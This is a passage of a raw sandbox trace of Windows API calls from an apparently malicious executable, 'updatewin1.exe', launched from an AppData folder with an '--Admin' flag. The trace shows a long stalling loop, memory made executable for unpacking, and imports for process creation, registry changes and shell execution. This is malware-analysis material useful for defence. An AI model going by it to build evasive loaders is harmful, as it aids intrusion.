0x51 [0052.459] AddAtomA (lpString=0x0) returned 0x0 [0052.459] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.459] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.459] AddAtomA (lpString=0x0) returned 0x0 [0052.459] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.459] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.459] AddAtomA (lpString=0x0) returned 0x0 [0052.459] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.459] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.459] AddAtomA (lpString=0x0) returned 0x0 [0052.459] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.460] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.460] AddAtomA (lpString=0x0) returned 0x0 [0052.460] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.460] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.460] AddAtomA (lpString=0x0) returned 0x0 [0052.460] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.460] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.460] AddAtomA (lpString=0x0) returned 0x0 [0052.460] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.460] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.460] AddAtomA (lpString=0x0) returned 0x0 [0052.460] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.460] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.460] AddAtomA (lpString=0x0) returned 0x0 [0052.460] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.460] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.460] AddAtomA (lpString=0x0) returned 0x0 [0052.460] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.460] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.460] AddAtomA (lpString=0x0) returned 0x0 [0052.460] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.460] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.460] AddAtomA (lpString=0x0) returned 0x0 [0052.460] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.460] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.460] AddAtomA (lpString=0x0) returned 0x0 [0052.460] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.460] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.460] AddAtomA (lpString=0x0) returned 0x0 [0052.460] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.460] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.460] AddAtomA (lpString=0x0) returned 0x0 [0052.460] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.461] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.461] AddAtomA (lpString=0x0) returned 0x0 [0052.461] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.461] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.461] AddAtomA (lpString=0x0) returned 0x0 [0052.461] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.461] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.461] AddAtomA (lpString=0x0) returned 0x0 [0052.461] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.461] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.461] AddAtomA (lpString=0x0) returned 0x0 [0052.461] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.461] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.461] AddAtomA (lpString=0x0) returned 0x0 [0052.461] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.461] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.461] AddAtomA (lpString=0x0) returned 0x0 [0052.461] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.461] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.461] AddAtomA (lpString=0x0) returned 0x0 [0052.461] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.461] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.461] AddAtomA (lpString=0x0) returned 0x0 [0052.461] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.461] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.461] AddAtomA (lpString=0x0) returned 0x0 [0052.461] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.461] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.461] AddAtomA (lpString=0x0) returned 0x0 [0052.461] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.461] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.461] AddAtomA (lpString=0x0) returned 0x0 [0052.461] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.462] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.462] AddAtomA (lpString=0x0) returned 0x0 [0052.462] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.462] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.462] AddAtomA (lpString=0x0) returned 0x0 [0052.462] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.462] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.462] AddAtomA (lpString=0x0) returned 0x0 [0052.462] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.462] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.462] AddAtomA (lpString=0x0) returned 0x0 [0052.462] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.462] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.462] AddAtomA (lpString=0x0) returned 0x0 [0052.462] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.462] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.462] AddAtomA (lpString=0x0) returned 0x0 [0052.462] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.462] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.462] AddAtomA (lpString=0x0) returned 0x0 [0052.462] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.462] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.462] AddAtomA (lpString=0x0) returned 0x0 [0052.462] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.462] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.462] AddAtomA (lpString=0x0) returned 0x0 [0052.462] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.462] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.462] AddAtomA (lpString=0x0) returned 0x0 [0052.462] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.462] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.462] AddAtomA (lpString=0x0) returned 0x0 [0052.462] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.463] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.463] AddAtomA (lpString=0x0) returned 0x0 [0052.463] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.463] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.463] AddAtomA (lpString=0x0) returned 0x0 [0052.463] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.463] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.463] AddAtomA (lpString=0x0) returned 0x0 [0052.463] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.463] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.463] AddAtomA (lpString=0x0) returned 0x0 [0052.463] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.463] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.463] AddAtomA (lpString=0x0) returned 0x0 [0052.463] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.463] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.463] AddAtomA (lpString=0x0) returned 0x0 [0052.463] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.463] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.463] AddAtomA (lpString=0x0) returned 0x0 [0052.463] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.463] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.463] AddAtomA (lpString=0x0) returned 0x0 [0052.463] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.463] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.463] AddAtomA (lpString=0x0) returned 0x0 [0052.463] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.463] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.463] AddAtomA (lpString=0x0) returned 0x0 [0052.463] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.463] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.463] AddAtomA (lpString=0x0) returned 0x0 [0052.463] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.464] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.464] AddAtomA (lpString=0x0) returned 0x0 [0052.464] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.464] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.464] AddAtomA (lpString=0x0) returned 0x0 [0052.464] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.464] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.464] AddAtomA (lpString=0x0) returned 0x0 [0052.464] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.464] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.483] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0052.483] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0052.483] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0052.483] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0052.483] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0052.483] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0052.483] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0052.483] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0052.483] SetErrorMode (uMode=0x400) returned 0x0 [0052.483] SetErrorMode (uMode=0x0) returned 0x400 [0052.483] GetVersionExA (in: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0052.483] VirtualAlloc (lpAddress=0x0, dwSize=0x2d200, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0052.486] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5d8 | out: lpflOldProtect=0x18f5d8*=0x2) returned 1 [0052.514] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.514] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0052.515] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0052.515] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0052.515] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0052.515] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0052.515] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0052.515] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0052.515] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0052.515] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0052.515] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0052.515] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0052.515] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0052.515] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0052.515] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0052.515] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0052.515] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0052.516] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0052.516] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0052.516] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0052.516] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0052.516] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0052.516] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0052.516] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0052.516] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0052.516] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0052.516] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0052.516] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0052.516] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0052.516] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0052.516] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0052.516] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0052.517] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0052.517] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0052.517] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0052.517] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0052.517] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0052.517] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0052.517] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0052.517] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0052.517] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0052.517] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0052.517] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0052.517] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0052.517] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0052.517] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0052.517] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0052.517] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0052.518] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0052.518] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0052.518] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0052.518] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0052.518] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0052.518] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0052.518] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0052.518] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.518] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0052.518] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0052.518] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0052.518] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0052.518] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0052.518] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0052.518] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0052.519] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0052.519] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0052.519] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0052.519] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0052.519] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0052.519] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0052.519] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0052.519] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0052.519] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0052.519] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0052.519] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0052.519] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0052.519] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0052.519] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0052.519] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0052.519] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0052.520] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0052.520] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0052.520] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0052.520] GetProcAddress (hModule=0x74d40000, lpProcName="SetSecurityDescriptorDacl") returned 0x74d5415e [0052.520] GetProcAddress (hModule=0x74d40000, lpProcName="InitializeSecurityDescriptor") returned 0x74d54620 [0052.520] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0052.520] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0052.520] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0052.520] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0052.520] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0052.520] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0052.521] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0052.521] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0052.521] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0052.521] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74900000 [0052.524] GetProcAddress (hModule=0x74900000, lpProcName="atexit") returned 0x7491c544 [0052.524] atexit (param_1=0x5863e0) returned 0 [0052.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5dc | out: lpSystemTimeAsFileTime=0x18f5dc*(dwLowDateTime=0x405ed040, dwHighDateTime=0x1d53dff)) [0052.524] GetCurrentThreadId () returned 0xa20 [0052.524] GetCurrentProcessId () returned 0xa1c [0052.524] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5d4 | out: lpPerformanceCount=0x18f5d4*=17274821524) returned 1 [0052.524] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0052.524] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.524] GetLastError () returned 0x57 [0052.524] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.524] GetLastError () returned 0x57 [0052.524] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0052.524] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0052.524] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.524] GetLastError () returned 0x57 [0052.524] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0052.525] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0052.525] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.525] GetLastError () returned 0x57 [0052.525] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.525] GetLastError () returned 0x57 [0052.525] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0052.525] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0052.525] GetProcessHeap () returned 0x570000 [0052.525] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.525] GetLastError () returned 0x57 [0052.525] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0052.525] GetLastError () returned 0x57 [0052.525] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0052.525] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0052.526] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x364) returned 0x59a9f0 [0052.526] SetLastError (dwErrCode=0x57) [0052.526] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xc00) returned 0x59ad60 [0052.527] GetStartupInfoW (in: lpStartupInfo=0x18f510 | out: lpStartupInfo=0x18f510*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033b0, hStdOutput=0x447a933f, hStdError=0xfffffffe)) [0052.527] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0052.527] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0052.527] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0052.527] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe\" --Admin" [0052.527] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe\" --Admin" [0052.527] GetACP () returned 0x4e4 [0052.527] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x220) returned 0x599eb0 [0052.527] IsValidCodePage (CodePage=0x4e4) returned 1 [0052.527] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f530 | out: lpCPInfo=0x18f530) returned 1 [0052.527] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18edf8 | out: lpCPInfo=0x18edf8) returned 1 [0052.527] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.527] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb98, cchWideChar=256 | out: lpWideCharStr=" 